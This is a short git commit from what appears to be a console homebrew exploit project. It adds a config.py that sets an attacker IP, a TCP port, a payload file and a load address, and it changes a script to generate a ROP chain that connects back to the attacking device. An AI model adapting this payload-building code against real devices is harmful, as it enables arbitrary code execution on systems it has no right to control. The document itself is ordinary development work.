Use a config.py

This commit is contained in:
Maschell 2020-03-06 20:03:26 +01:00
parent 9d857dbc3e
commit 13c7fe0ebf
2 changed files with 8 additions and 1 deletions

6
homebrew/config.py Normal file
View File

@ -0,0 +1,6 @@
ATTACKER_IP = [192, 168, 178, 161] # IP of the device which runs the python scripts
TCP_SERVER_PORT = 12345 # A free usable port on the attacking device
CODE_BIN_PATH = 'code.bin' # Path to the code.bin payload that will be executed
CODE_BIN_TARGET_ADDR = 0x011DE200 # Address where the payload should be copied to
CODE_BIN_ENTRYPOINT = CODE_BIN_TARGET_ADDR # Absolute address of the entrypoint of the copied payload

View File

@ -1,7 +1,8 @@
from tcp_ropchain import * from tcp_ropchain import *
from config import *
import struct import struct
rop_chain = tcp_thread_ropchain(0x4D070000 + 0x14, [192,168,178,89], 12345) rop_chain = tcp_thread_ropchain(0x4D070000 + 0x14, ATTACKER_IP, TCP_SERVER_PORT)
with open('payload.s', 'w') as f: with open('payload.s', 'w') as f:
for val in rop_chain: for val in rop_chain: